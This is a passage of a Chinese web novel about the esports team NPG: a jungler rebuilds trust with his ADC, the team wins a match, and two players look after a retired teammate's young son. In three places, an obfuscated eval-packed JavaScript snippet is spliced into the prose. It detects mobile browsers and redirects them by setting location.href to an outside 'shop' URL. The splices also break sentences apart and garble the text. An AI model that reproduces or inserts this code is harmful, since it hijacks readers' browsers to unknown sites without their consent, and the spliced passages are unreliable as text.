“冬均,粉丝的话虽然难听,但有一点没说错。你现在的表现,确实还没有让大家看到Space作为辅助的光芒。想要打破这种偏见,除了赢,没有别的办法。” 林冬均头垂得更低了,“嗯,我知道了,予辞哥。” 复盘持续到凌晨三点,结束时队员们都像是被抽干了精气神。 林冬均几乎是冲出了训练室,连外设都没收。李扶砚看着他的背影,帮他把键盘线拔掉缠好,塞进自己包里。 周衡笑着打招呼,“队长,那我先回去了,老年人实在是顶不住了。” 谢予辞道别,“今天辛苦了。” “你也是,咱们跟那帮小屁孩可不一样,记得别熬太晚。” 中野收拾完一起往外走。 回去的路上,宋澈默默盯着中单。 谢予辞弯着嘴角问,“怎么啦,天太黑,小澈想听我讲故事了?” “虽然卫教练脾气一直不好,但今天跟林冬均说话有点过了。” 谢予辞给他讲,“冬均是卫教练从网吧赛带回青训的,一向很亲,不许其他选手当面逆着教练。今年卫教练能升到一队,也多亏了冬均和扶砚夺冠,让管理层认可了他培养人才的能力。卫教练对冬均的期望太高了,远不止一个S冠。” 听完中单的话,宋澈心中的一个疑问忽然解开了,他从见队友的第一天起就在好奇,为什么林冬均和李扶砚的关系会这么好。 NPG的传统是老带新,一队的前辈要定期去青训营关照被看好的新人。当初他是打野,NPG选了身为中单的谢予辞陪练。那么作为ADC,照顾林冬均最适合的人选想必就是李扶砚了。 “不过,后来冬均是有点生气。”他歪过头来看着宋澈。 “教练骂他交闪犹豫那里,很少有人能第一时间反应过来,太苛责了。” “不是这个啦,是因为卫教练不给扶砚分锅。今天冬均打得太急躁大失水准,扶砚的发挥就很完美吗?不可能,下路组一定是会互相影响的,可是分锅时卫教练根本没提一句辅助。” “这说明教练没看出辅助的问题?” “哎。”谢予辞叹气,“说明卫教练眼里,根本就看不到辅助,看不到扶砚。” 谢予辞停下脚步,宋澈后知后觉地察觉,连忙转身。 凌晨三点冬日街道的颜色是一种被冷冻过后的灰蓝色,冻得人太阳穴疼。霓虹早已安憩,空气里弥漫着雪前的潮湿,从基地到宿舍的街道折叠在两人无声的对视间。 路灯暖黄的光从谢予辞的正上方打下来,让他一贯温和得无懈可击的笑容看不真切。 “小澈,我想向你道歉。” 谢予辞郑重地说。 宋澈不敢大声呼吸,“予辞哥,你不论做了什么,都不用向我道歉。” “不,现在回想起来,我好像做错过很多事。” 谢予辞往前走,走进阴影里,“从你在青训营的时候就是,那时候我也很不成熟,自认为做好了前辈该有的表率,自以为是地想要把自己的打法强加给你,其实完全活在假想里,从没注意过你的感受。” “希望现在没有太迟。对不起,小澈,我真的从来没有任何一刻想过,让你作为中单的附庸登上赛场。” 宋澈暗暗深吸了一口冰冷的空气,让鼻腔的刺痛感唤醒自己的理智。 “没关系。”他低下脸说。 两人继续向前走去,脚步声重新重叠在一起。 自从那个冲动的夜晚后,Quietus再也没有同意过他的双排邀请,每次回复消息也恨不得隔了大半天。 但宋澈没有因此放弃,坚持每天分享训练和生活中的趣事,似乎是从这件事上找到了乐趣。 回到宿舍,宋澈习惯性地摸出手机,点开置顶的聊天框。 NPG Carpet:哥,今天冬均被粉丝骂了,说他不配。我在想,如果是我的话,背负起双份的信任和梦想,也会很累吧。 NPG Carpet:我当不了心理导师,但是作为打野,我想用打野的方法帮他们。 16. 第 16 章 打野这个位置不需要打线,目光也不能被禁锢在一条路上,要看到队友看不到的东西,在他们需要的时候出现。 第二天宋澈进训练室时,林冬均已经在位置上了。ADC戴着耳机,屏幕上是昨天比赛的录像。 宋澈在他旁边坐下,盯着屏幕没有开口。 林冬均受不了,不自在地摘下一边耳机,“干嘛?” “看你复盘。” “想笑话我吧。” 宋澈摇头,“想学习。” 林冬均恶意揣测,“学我怎么送的?” “学你的对线习惯。” NPG中野有过两年的磨合,谢予辞又乐意牺牲,默契捡起来得自然快。 至于上单,他们自己会看着办的。 昨天经由中单点拨,宋澈已经规划好了拿捏林冬均Gank路线,“咱们两个人现在完全没有默契,只是在靠个人实力和辅助的协调打比赛,李扶砚对线期要帮予辞哥分担指挥压力,这样下去太累。” 林冬均沉默了。 宋澈乘胜追击,“我早上看了你之前的比赛录像,你的对线期其实很稳,但一旦被抓过一次就会变得激进,想要把损失的经济打回来。” “你什么意思?” “我的意思是,下次你被抓的时候,不要急着找机会反打。” 宋澈晚上几乎没怎么睡,把一年来林冬均的高光集锦、暴毙合集和主要赛评都看了一圈。 Rainstorm即使被当面炎上,也没有一个粉丝骂他打线差,对他的诟病主要集中在兵线运营和转线时机的意识弱,爱掉点,这侧面体现出的是大局观和心态问题。 此前NPG对此的解决方法是放任自流。 在NPG的赛训组眼中,ADC是团战输出机器,为了快速拿下远古资源不可或缺的物理伤害来源,要那么多自己的主意干嘛?比赛切忌一拍脑门想点子,不如听中辅安排,做个老老实实被喂饭的少爷。 宋澈不接受,但大局观不是一时半会儿能培养起来的,于是他选择了折中。 打野看着他,“等我。” “等你?” “我会来的。“宋澈说得很平静,“不管你在哪条线,不管对面几个人,我都会来,你只需要活着就好。” “我们需要有以ADC为核心的四保一体系。如果你改不掉,那就让我来配合你。你往前压的时候我会在附近,对面想抓你就得先过我这关。” 林冬均张了张嘴,半晌什么都没说,别过头去。 “随便你。” 宋澈随便地站到一边开始热手。 谢予辞靠在门框上,看着两位年纪最小的队员。 “予辞,早。”周衡从他身后走过来,“站在门口干嘛?” “没什么,在想今天的训练安排。” 周衡顺着他刚才的视线看过去,若有所思地“哦”了一声。 “咱们家这两个小朋友还挺有意思的。” 但凡再多打两年,稍微油了点,可就看不见这幅场景了。 “嗯~” 宋澈说到做到。 下一场比赛,NPG对阵目前的西部守门员战队WMS,对方下路组实力稳居春季赛T0级别。 BP阶段,NPG先行执蓝,红色方一轮禁用厄斐琉斯、霞和卡莎,三个ban位全部砸在林冬均擅长的ADC身上,意图昭然若揭。 谢予辞说,“他们研究过上一场的录像,知道冬均现在心态不稳,今天的阵仗是要给下路上压力。” “予辞哥,我你还不放心嘛。”李扶砚心态极好。 宋澈接话,“让他们来。” 卫教练思考,“今天先换一换,改成打中野。” 出现了,NPG陷入迷茫时的保留曲目,永远的底裤,让谢予辞选个中单大法师刷到18级,对面基地自动爆炸。 “不换。”林冬均说,“我这周练了金克斯。” 教练转头看他,“金克丝?对面打野是盲僧,金克丝可没有位移。” “所以我会一直在。”宋澈说。 卫教练跟谢予辞对视一眼,见中单没发表意见,便没再说什么。 思想有问题送输比赛固然该骂,但呵护选手的信心比这点积分重要多了。 解说席上,两位解说跃跃欲试,“NPG这个阵容很有意思,除了中单阿卡丽外,打野猪妹、上单奥恩和辅助锤石都是功能性比较强的英雄,配合金克丝这种后期大C,如果能撑到三件套,团战会非常恐怖。” “看来上次的失败没能让他们死心,这套四保一打到底的魄力观众们已经感受到了。” “但问题是对面下路是德莱文,盲僧前期一定会抓,NPG能赌到后期吗?” 游戏加载完毕,十位选手的头像依次亮起。 “欢迎来到召唤师峡谷。” 猪妹走出泉水,宋澈没有按照常规路线去刷红BUFF,而是直接往下路河道走。 打野变奏,二级抓下。 对方显然认为他会秉持帮优不帮劣的原则抓中上,对此猝不及防。 盲僧在刷完蓝BUFF后直接往下路走,想配合德莱文的强势期抢个草。天音波从河道草丛探出,而宋澈的猪妹已经卡在那个位置。 “这个时间猪妹怎么在下?” 盲僧的节奏被打断不得不选择撤退,几秒的时间差足够让金克丝安全吃完一波兵线。 接下来的十分钟,宋澈几乎把家安在了下路。 第二次来下,他从三角草丛绕后,配合锤石的钩子逼出了对方治疗。 第三次来下,对面盲僧来下抓人,他反蹲成功,金克丝全身而退。 第四次来下,他顶着塔伤把德莱文撞进了锤石钩子上,一血。 First Blood! 峡谷怪谈,德莱文是一种十分钟拿不到头就会自动发狂的生物。 几波之后德莱文的心态已经爆炸,坐前排的观众都能听见他破防的惨叫。 “NPG这个阴险狡诈的死猪有完没完!十分钟来四次,下路是你爹吗!?” 极端的绝食流打法彻底打乱了WMS的节奏,他们的打野试图去上路找回场子,却被早有准备的中单游走劝退。 谢予辞在语音里笑着说,“冬均,皇族体验卡感觉怎么样?” “还行吧。”林冬均别扭地嘟囔了一句,金克斯已经三件套在手,从昨天那个唯唯诺诺的提款机变成了设计师的诅咒。 团战阿卡丽先收一人,金克斯罪恶快感启动,高地前左右开弓,轻松取得四杀。 游戏结束,无可挑剔的胜利。 第二把依旧是同样的节奏,通过牺牲打野,NPG达成了他们设想的极致四保一。 宋澈摘下耳机,转头越过中单,对上了林冬均的目光。 ADC的表情很复杂,“谢了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278600|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不客气。” “我不是在跟你客气!我是说......算了,反正跟你说不清。”ADC站起身头也不回地起身碰拳去了。 更衣室里的气氛比前几天轻松了许多。 周衡难得主动开口,“今天这把打得不错,猪妹虽然前期没钱难受了点,但保护做得很到位。” 宋澈正在收拾外设,闻言抬头,“够用就行。” 李扶砚搭上他的肩膀,“够用?你那个装备打团就是去送死的好吗,要不是冬均后期站出来了,这把我们就难了。” 宋澈看着林冬均好不容易放松下来的表情又要臭起来,反手把辅助拨到一边。 不想野射决裂就请你给我注意一点。 “所以我说够用,我的任务就是让他能站出来。” “好帅气的MVP发言呀。”谢予辞调笑。 “予辞哥,今天的MVP是冬均。” 林冬均一拍大腿,“别唧唧歪歪的,说你就是你。那帮投MVP的评论席连王者都打不上去,有予辞哥和我懂游戏吗?” “那把你上周偷的那个也补给我吧。” “你!” 谢予辞仓促地移开视线,“咳,挺有志气的嘛,那为了补偿小澈错失的MVP,今晚请你吃宵夜?” “然后由冬均来买单~” 林冬均撇嘴。 “好啊。”宋澈答应得很快,“予辞哥你们先去,我回个消息就跟上。” 他拿出手机,当着离得最近的谢予辞的面点开了那个熟悉的聊天框。 NPG Carpet:哥,我尽力去做了。 发完抬头,却见中单面色古怪。 “怎么了予辞哥?” “没、没什么。” 烧烤店是李扶砚挑的,上中野对吃的没什么执念,ADC又只会跟票,今年NPG的赛后聚餐地点完全是邪恶辅助的一言堂。 宋澈挑了个边角位,谢予辞坐在他旁边,与自己形象相当不符地剥花生和毛豆,动作不紧不慢。 林冬均不自量力,非要坐对面,下场便是被海量的上辅左右包围,被迫听两人的醉话绕耳。 再说一遍,不能喝的坐小孩这桌。 “来,再敬你一杯,辅助这么个玻璃心的AD真是不容易啊。” “嘿嘿嘿,今天你也辛苦了,上单打了一个小时就见了打野两面,多亏你,我家小死鬼才能活着。” “扶砚哥,我还在这没走呢!” 醉鬼辅助在嚷嚷着要加酒,被宰的冤大头着急忙慌地拦,“不行了扶砚哥!待会儿会吐的!” “予辞哥,怎么不吃?”宋澈问。 “吃饱了。”谢予辞把冰凉的可乐贴在脸上,“我们之后还有很长的路要走,赛程会越来越紧,要是次次都这样折腾一通,冬均的钱包就遭殃了。” “怕什么。”宋澈鬼使神差地说,“实在不行,我就住在中路不走了。” 谢予辞举起锡罐,笑着邀请他碰杯,“好,那我等你。” 那边林冬均已经不堪受辱,匆匆败退,试图逃去大厅把没上的酒统统换成橙子味芬达。 路过宋澈身边时他含糊不清地说,“今天要不是你,我可能又要被骂了。” “所以……谢谢。” 谢予辞在桌子底下轻轻碰了碰他的手。 回去时仰头月明星稀。 谢天谢地,今夜暴风雨终于肯放晴了。 17. 第 17 章 数天来,虽然对方态度冷淡,但宋澈依然坚持不懈,持之以恒,锲而不舍—— 发信息骚扰着辅助大人! 打完比赛发。 NPG Carpet:打完WNS,冬均对我的态度似乎比之前好些了,但是每次见到我还是会自顾自生闷气。去问了予辞哥原因,予辞哥只是笑,不告诉我。 日常训练发。 NPG Carpet:下一场轮到我来C,哥会看吗?为了配合奈德丽,予辞哥和周衡这几天一直在solo杰斯鳄鱼,想起了之前和哥solo。在这中上都不愿意跟我打,找下路组又胜之不武。哥的账号很久没上了,工作太忙的话我来帮你先打上王者好吗? 队友贩剑发。 NPG Carpet:因为最近老是抱着手机打字,予辞哥好像怀疑我受骗了,总给我推送预防网诈的视频号。李扶砚也跑过来抢我手机看,肯定是予辞哥安排他来刺探情况。 睹物思人发。 NPG Carpet:今天比赛见识到了予辞哥的大核法师,有些细节处理我之前都没意识到过,被教了很多后才发现一些相似的技巧哥也用过。果然,哥好厉害。 偶尔对方回复几个“嗯嗯”或是表情包,更多的情况下则石沉大海。 宋澈对此早就做好了心理准备,但仍然不免感到失落。 NPG Carpet:目前达成了7-1,NPG粉丝们的要求很高,因为没达成八连胜,冬均一直在被鞭尸没停过。 NPG Carpet:下一场是恩怨局,教练说在此之前会放假,这是开赛来第一次假期。哥有什么安排吗? 按照以往的经验,或许假期结束后他才会收到回复。 等待比想象中难捱,宋澈自省,难不成每个人陷入恋爱时都会失去方寸,还是只单单他自己这般? 当初表白心意时夸口许诺只要对方还愿意理睬他,不论要反蹲多久都欣然领命,转过头来便因冷淡的回避徒自黯然,甚至凭白无故生怨。 在那天之后,宋澈总爱在休息时把之前双排的录屏调出来看看,他不懂剪辑,但能不假思索地说上来每次精彩野辅配合局内时间点。 透过录像他触碰着辅助轻快的节拍,乐意至极地献上喝彩。宋澈不懂这些情感和世俗意义上的恋爱是否是一回事,但当他这么做时,时而内心充满快乐与雀跃,时而又莫名地感到一阵羞耻。 看得多了,自然懂了他从Quietus身上追求的究竟为何物。 那是一个小时候理所当然,长大后却被遗忘的秘密。 游戏仅仅是游戏。 没错,英雄联盟只一款游戏而已。 学生时代,老师要求他们在跳格子、捉迷藏时学会合作;成为职业选手后,教练要求他从每场失败中汲取教训。 在大人们的认知里,做任何事都必须有世俗意义上的用处,就连孩童单纯的游戏,也不能坦率地承认自己只想追求快乐,必须得从其中学到点什么才好。 但Quietus与之前他见过的所有人似乎都不同。他是如此不顾一切地在追求纯粹的快乐,对其余无名之辈不甘的反抗都漠不关心。 平平无奇的世界在他来后被改变了。 不担心失败,不需要反复复盘,甚至不为了赢。Quietus像是一个任性的引路人,在BG看不到尽头的夜晚,把他从职业选手Carpet的责任重压下,暂时拽回到了玩家宋澈的身体里。 这样令人不齿的逃避,是不能跟身边人分享的。 即使是谢予辞也不行。 宋澈十岁那年亲眼见证Vale在金雨下捧起赛区第一座冠军奖杯,开启了属于NPG的时代,满怀憧憬地成为了Carpet,可此后他半数以上的烦恼都来自于这个梦想的起点。 当Vale是隔着屏幕的ID,被凝练成符号的偶像时,这份差距并没有那么具象化,遭受到的打击也小许多。但被捧得内心飘飘然的NPG天才青训生怎么可能有维持这份安全距离的先见之明呢。 早上睡过头后一起着急地赶电梯,给彼此的午餐菜单做参谋,有任何游戏上的问题都会得到细致的解答。凌晨再相伴着走过基地到宿舍短短的街道,仰望夜空说些要摘星星的胡话。 一遭下来Vale便做不成在峡谷里搅动风云的冷酷反派,只能无奈地当个给小孩子系上围巾的普通哥哥。 因此才会更痛苦。 比敬而远之多了亲近依赖,感到嫉妒又更突显卑劣。站在离天堑最近的地方被差距折磨,放弃的念头甫一升起又会后悔辜负信任。 只好把Vale出道战的集锦循环无数遍,惴惴不安地等待正式登上赛场的那天,呵护仅存的那份微小希望。 可是真到了这天,无论内心怎么挣扎,都得咬着牙承认,自己或许不是全世界在等待的下一个天才。 原来我竟是凡夫。 所以当卫教练下达“你的打法不适合Vale,只会拖累他”的判决时,宋澈幸福地落荒而逃。 离开你是不是我能为你所做的最正确的事? 下周NPG的赛程排在周末,周日直播结束后监督宣布明后放假两天,张弛有度劳逸结合,除选手外工作人员们也可以轮休,基地一下子空了大半。 李扶砚最近看密室逃脱入迷,带着AD去报名参加了一场为期两天一晚的沉浸式剧本杀,打了招呼晚上不回宿舍住。 林冬均拎着背包迷迷瞪瞪地跟着走了,也不知道在脸红什么。 上单周衡跟几个退役的老队友出门喝酒,他知道中野都不碰这个,便没拉他们一起,倒是谢予辞颇为担忧地劝他别喝的太狠了。 上单摆摆手兴致勃勃地出了门。 宋澈没打算休息,春季赛虽然只是一周双赛,但赛训进程比他预想的更紧凑,短暂的胜利伴随着更苛刻的审视。 最近几场,他赛后复盘时发现自己有几波入侵的时机选择可以更优化,线野联动算是他的弱项,就决定利用假期把这些细节再打磨一下。 宋澈自己单排了几局,中路线短难度大,跟毫无默契的路人打还是欠缺了点什么。 恰巧此时熟悉的id在线提示弹了出来,他犹豫片刻,点开了谢予辞的聊天框。 NPG Carpet:予辞哥,在宿舍吗?有点关于中路线的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278601|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想请教你,方便吗? 谢予辞被教练耳提面命要求卧床休息,不许出去瞎跑。 NPG Vale:好,我过来~ 宋澈赶紧回复:不用特意过来一趟,我去找你。 中野房间挨得太近,房门已经被敲响了。 宋澈匆忙三步并作两步,用力拧开门把手,锁芯撞出不堪重负的咔哒声。 门打开,谢予辞穿着居家服,头发还有些微湿,像是刚洗过澡。 “终于有用到我的地方了,Rank都不许打,我都快要被憋死了。” “啊,差点忘了,小澈你千万别跟监督说我偷偷登陆了。” 他轻快地侧身走进来,宋澈嗅到类似水果味道的清新水气。 “予辞哥,快坐。” 谢予辞看到书桌前唯一的那把电竞椅,环视一圈房间,顺势坐在了床脚边,“小澈是哪里想不通?” 宋澈调出准备好的录像片段和笔记,一一请教。谢予辞凑近了些,仔细看他写在笔记上的时间点。 温热的呼吸若有似无地拂过宋澈的耳廓。 “你的判断大体没错,问题还是在线野联动上。”谢予辞看了一会儿,“你看,这时候我们上路是被推线的,虽然我给到了中路miss信号,但上路无法第一时间提供支援。你选择从这个入口进去,风险就增加了……” 他声音柔和,有条不紊地讲,宋澈原本凝滞的思路豁然开朗。 联赛官方对新人一贯以鼓励式教育为主,不少小选手在正式打比赛前都会被夸得七荤八素,以为自己就是下一个天选,从顶级联赛的出道战起便大放异彩。 现实情况则是英雄池、新人壁、战术配合,关关难过,没有一位经验丰富的引路人,不知道得多吃多少苦才能崭露头角。 两人讨论得投入,不知不觉便快到中午。 “差不多就这些了,谢谢予辞哥。”宋澈收起东西。 “那就请多多来中路报答我作为报酬吧。” “这是我的私人请求,与游戏无关。” “嗯,要不要待会一起出去吃个午饭?”谢予辞提议,眼神里带着点期待,“当成陪我走走,跟我一起挨陈监督骂~” “好。”宋澈失笑应下。 “那你先等我会儿,我去换件衣服。”谢予辞起身往外走。 宋澈也站起来,准备关电脑。 “诶,现在吗?”中单明显愣住的声音传来,宋澈偏头一看,谢予辞脚步在门口停住,正盯着手机神情苦恼。 “怎么了,予辞哥?”宋澈问。 谢予辞面带歉意地回答,“抱歉小澈,刚刚邀请你的时候没注意手机短信。家里临时有点事,待会可能没法一起吃饭了。” 宋澈说,“没关系予辞哥,我点个外卖就行……另外,有我能帮上忙的地方吗?不能让你把报酬糊弄过去。” 他注意到谢予辞的用词是“家里”,这还是第一次听中单提起。 谢予辞惊讶道,“Gank嗅觉敏锐到完全不需要我了嘛。” 他上下打量宋澈一番,似乎在评估什么。 “小澈,你擅长跟小孩子相处吗?” 18. 第 18 章 完全不。 宋澈是独生子,父母工作忙,他大部分时间都是一个人待着,一个人看书,一个人玩游戏。 不是没有孩子主动找他,恰恰相反,宋澈从小帅到大,学习成绩还不好,拥有这两张安全牌的他从不缺同性异性的邀请,可他对与同伴玩耍,与朋友社交这些事兴致缺缺。 小孩子真的很麻烦,总是活力充沛缠着他,说话不好听,完全无法预测他们下一秒会做什么,怎么躲都躲不开。 可这是在他自告奋勇下,谢予辞亲自开口,宋澈绝不可能此时打退堂鼓。 他梗着蹦出来“还好”两个字。 谢予辞狐疑地说,“真的吗?不要勉强自己,如果不方便的话......” 宋澈打断他,“予辞哥,不许找借口甩下我。” 谢予辞失笑,“怎么干活还上赶着的呀,那跟我去趟基地吧,要耽误你两个小时的午饭时间了。” 路上谢予辞给宋澈看自己的手机消息,NPG退役选手群里热热闹闹。 【NPG前打野】:救命!老婆突然肚子疼得去医院,孩子在家没人看,能不能麻烦谁帮个忙?我把他送基地行吗? 【NPG前辅助】:我在外地出差,帮不上忙。 【NPG Vale】:送过来吧,我在基地。 【NPG前打野】:予辞你就算了,好不容易放假,赶紧休息休息吧。 【NPG Vale】:我今天没有安排,没关系的。 【NPG前AD】:我也往基地走,最多两个小时到。予辞先看着会,我把孩子接我家去。 【NPG Vale】:OK~ 谢予辞解释道,“就是NPG之前的打野家的孩子,你应该听说过他。” 宋澈点点头,NPG的双冠功勋打野,五年主力两年替补,脏活累活都能干,人缘很好,宋澈一开始准备的就是接他的班。 他也意识到了谢予辞为什么下意识说家里有事,这对中野当了七年队友,彼此之间早就跟亲人没区别了。 不由得莫名失望。 “予辞哥以前见过吗?”宋澈的声音里带着一丝不易察觉的紧张。 “嗯,很乖的小朋友。”谢予辞一马当先,“我们过去接他吧。” 十分钟后,前辈打野风风火火地出现在基地门口,怀里抱着一个穿着小号NPG队服的男孩。 “予辞!真是太感谢了!”前辈把孩子放下,“小野,叫予辞叔叔。” 宋澈腹诽,给孩子起名这么随便,就算是小名,这爸爸也有点太不靠谱了! “予辞叔叔好!”小男孩奶声奶气地打招呼,然后好奇地看向宋澈,“这个哥哥是谁呀?第一次见到。” “这是小澈哥哥,也是NPG的选手。”谢予辞蹲下身介绍。 “小澈哥哥好!”小野很有礼貌地试图弯腰碰拳。 很好,这孩子也没救了。 宋澈僵硬地点点头伸手,“你好。” 前辈匆忙交代了几句注意事项就急着赶去医院,留下谢予辞、宋澈和小野三人站在基地大厅里。 “好耶,爸爸终于走了~我好想你呀,予辞哥哥!”小野欢呼。 嘴上称呼立马改了辈分。 谢予辞见怪不怪地问,“小野想去哪里玩?” “我想看予辞哥哥打游戏!”小野眼睛亮晶晶的。 谢予辞笑了,“那我们去训练室吧。” 今天的基地比平时空荡了许多,青训生们似乎也不在,留出了足够的空间让小孩撒欢。 三人来到训练室,小野好奇地东张西望,对那些夺冠照片和显示器充满了兴趣。 小野兴奋地跑来跑去,“哇!好多电脑!你们打游戏的地方是不是又装修啦。” “是的,小野记忆力真好。”谢予辞耐心地回答。 宋澈站在一旁,看着小野在训练室里蹦蹦跳跳,停在了今年新摆上的照片前。 “希望NPG天天都能赢。”小孩闭上眼,对着照片中的Vale虔诚许愿。 “你是NPG粉丝?”宋澈忍不住问。 小野摇了摇头,“真是的,小澈选手太没常识了。我才五岁,怎么能看懂比赛呢?只要NPG输比赛,原本善良温柔的妈妈说话做事就会变得像魔鬼一样,骂爸爸不吉利瘟到了予辞哥哥,爸爸只能装疯卖傻才能活命,也不敢偷偷教我玩游戏了。” “所以为了我的家庭幸福,请NPG努力赢比赛吧。” 宋澈深感震撼。 小孩子不觉得自己的发言惊世骇俗,很快转移了注意力。 “予辞哥哥,我们可以玩英雄联盟吗?我想当亚索!亚索很帅!”小野拉着谢予辞的衣角。 “小野品味不太好哦。”谢予辞佯装思索,“不过是你的话就可以。” 谢予辞看了看宋澈,宋澈勉强挤出一个笑容。 谢予辞说,“不过我们不用电脑,我们来玩真实版的英雄联盟,好不好?” 小野歪着头。 “就是用想象的方式玩。”谢予辞解释,“你当亚索,小澈哥哥当……”他看向宋澈。 “我当什么都行。”宋澈硬着头皮说。 中单大人临时出任教练,享受地布置战术,“那小澈哥哥当盖伦吧,这可是游戏推荐的经典组合。” 小野拍手赞同教练的理解。 中路1V1男人大战,亚索VS盖伦,一血solo赛,开始! 小野挥舞着想象中的剑,一声哈撒给直杀盖伦膝盖。 宋澈内心五味杂陈,努力配合着做一些挥剑动作。 小野跑到宋澈面前,不满道,“小澈哥哥,禁止消极比赛!” 宋澈愣了一下,不知道该怎么回应。他从来没有跟小孩子玩过这种游戏,完全不知道该怎么办。 谢予辞注意到了宋澈的窘迫,“小野,盖伦在草丛观察你的位置呢,他要找准时机才能出手。” 小野恍然大悟,“那我要踏前斩穿过近战兵,进草AQ盖伦。” 宋澈彻底失语,真诚恳求这帮不靠谱的大人少给小孩灌输这种乱七八糟的东西了,他不信小野看不懂NPG比赛,这种熟练的样子定非凡人。 “我要沉默亚索,用Q加速追击。”他都不知道每个英雄的技能名字是什么。 “E小兵拉开身位,小澈哥哥没有打到我!”小野大笑着往后跑。 裁判公平公正地说道,“第一回合血量!盖伦百分之八十,亚索百分之九十。” “耶,那我要先补兵。” 还挺会发育?! 宋澈捂脸。 第一局solo赛以亚索获胜告终,小野意犹未尽。 “小野,你累不累,要不要休息一下?”谢予辞适时地问。 “不累!我还想玩!”他跑向宋澈,想要抱住他的腿,宋澈下意识地后退了一步。 谢予辞走过去把小野抱起来。 “予辞哥,你别碰重物。”宋澈口不择言,还好及时反应过来,放轻声音没让小野听清。 “小野想不想去看看我们的荣誉室?那里有新奖杯哦。” “想!”小野立刻被转移了注意力。 谢予辞抱着小野往外走,经过宋澈身边时,轻声说,“小澈,你先休息一下,我带他去转转。” 宋澈担忧地点点头,等他们离开后,宋澈坐在椅子上长长地舒了一口气。他揉了揉太阳穴,感觉比打一场BO5还要累。 十几分钟后,正当宋澈坐不住要去找人时,谢予辞牵着小野回来了。小野手里拿着一个小小的NPG徽章,显然是谢予辞给他的纪念品。 “小澈哥哥,予辞哥哥给我看了好多奖杯!还有你们的照片!”小野看到宋澈兴奋地跑过来。 宋澈笑了笑,“是吗?” “嗯!予辞哥哥说你也很厉害!”小野认真地说,“爸爸说过中野是游戏里关系最好的搭档,你是予辞哥哥的打野,那你们就是最好的朋友对不对?” 宋澈下意识想征求谢予辞的意见,后者正温和地看着他。 “是的,我们是最好的朋友。” 小野满意地点点头,然后突然问,“小澈哥哥,你小时候也玩英雄联盟吗?” “玩的,我十岁的时候开始玩的。”看着屏幕上金雨飞舞,看着那个年轻的中单选手举起奖杯,从未认真接触过游戏的孩子内心充满了震撼和憧憬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278602|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哇!那你玩了好久!我也想玩,但是妈妈说我太小了。”小野羡慕地说。 谢予辞说,“等你再大一点就可以了,不过要记住,游戏只是生活的一部分,不能影响吃饭睡觉哦。” “我知道,为了更好地玩游戏,现在就要有健康的身体!”小野乖巧地点头,“对了予辞哥哥,你为什么要当职业选手呀?” 谢予辞蹲下身平视道,“最开始是因为我喜欢这个游戏,现在嘛,理由就越来越多了。” 小野天真地问,“那你现在还喜欢吗?” 宋澈也在等待他的答案。 “喜欢的。”谢予辞摸摸他的脸,“虽然有时候会很累,但我一直能赢,就上瘾了。” 在菠菜里有这样一句话,输不可怕,赢才最可怕。如果一个人一直输,他很快会意识到赌局的危害,傻子都知道要及时收手。可一旦赢过,从中尝到了甜头,那贻害无穷的路径依赖就形成了,即使当下输到一无所有,仍然All in肖想翻盘。 Vale赢的太大,次数太多,如今被伤病和年龄抵着喉咙,也敢惦记着所及之处的全部冠军。 小野扁扁嘴,“我知道,爸爸说予辞哥哥是会一直赢下去的天才。妈妈、爸爸和我再练很久很久都玩不了那么好,我太笨了,不许我玩游戏耽误时间。好羡慕你啊。” 那是说你笨吗?那是让你少玩点智能手机! 眼见他的悲伤溢于言表,宋澈安慰,“放心,我没看出你笨在哪了。” 谢予辞眼里含笑,“而且,比起天才,还是做个笨点的孩子比较好。” “聪明的孩子总爱不合时宜地思考未来,你们现在的世界太小了,万一失足陷进了怪圈子就该一发不可收拾了。” 小野若有所思,“那小澈哥哥呢?他也是笨蛋吗,还是聪明的人?” 谢予辞眼神示意,显然没想替他回答。 宋澈深吸了一口气,“我不知道。十岁那年我第一次看Vale夺冠,那时候我看着你举起奖杯,就想我也要成为像你一样的人。” 问题是小孩问的,但宋澈的回答却对着谢予辞。 “但那时候我只是单纯地觉得这个游戏很有趣,你很厉害,我也想变得很厉害。从这个角度讲,我也是个笨蛋。” 谢予辞轻轻拍了拍他的肩,“我十七岁进入NPG的时候他们都说我很幸运,一场比赛都没上就签上了大合同,可我觉得自己完全配得上,看不出Vale很快会成为世一中的人都是不懂游戏的云玩家。” 宋澈有些惊讶,他的印象中谢予辞展现出来的态度应当是沉着谦逊的,取得胜利后总是把队伍和粉丝谢了又谢,从不揽功。 “随着比赛越来越多,大家的期待越来越高,我也没有感到过压力。是不是听起来脑袋空空?”谢予辞挤眼睛。 “予辞哥又没说错,没有你我们早就被LMS吞并了。”宋澈理所当然地认为谢予辞太保守了。 